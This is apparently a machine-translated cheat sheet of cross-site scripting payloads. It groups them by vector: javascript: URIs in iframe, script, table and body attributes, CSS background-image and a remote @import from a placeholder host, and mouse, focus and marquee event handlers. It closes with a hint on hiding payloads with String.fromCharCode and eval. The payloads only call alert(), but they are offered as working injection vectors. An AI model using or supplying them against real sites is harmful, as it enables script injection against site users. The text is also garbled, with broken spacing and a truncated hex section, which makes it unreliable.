First Class:
<iframe Src=javascript:alert () ></iframe>
<script Src=javascript:alert () ></script>
Second Category:
<div Style=background-image:url (Javascript:alert ()) >
<b Style=background-image:url (Javascript:alert ()) >
Referencing CSS files on other Web sites with a style tag
<STYLE> @import ' http://xxx.xom/xss.css ';</style>
The CSS file contains the cross-site program.
body{
Background-image:url (' Javascript:alert (); ');
}
Third Category:
<table Background=javascript:alert () ></table>
<body Background=javascript:alert () ></body>
Class Fourth:
<div Onmouseenter=alert () > Mouse into the region to perform javascript</div>
<div Onmouseleave=alert () > Mouse out of the area execution javascript</div>
<div Onmousewheel=alert () > Mouse on Selection wheel when performing javascript</div>
<div contenteditable= "true" Onfocusin=alert () > Get focus Execution javascript</div>
<div contenteditable= "true" Onfocusout=alert () > Lost Focus Execution javascript</div>
<marquee Onstart=alert () > Scroll content execution javascript</marquee> per display
The code to be executed "alert ()" is converted to a decimal ASCII, separated by commas, then decoded with String.fromCharCode, and finally executed with Eval
You can also do hex processing:
Common JavaScript cross-site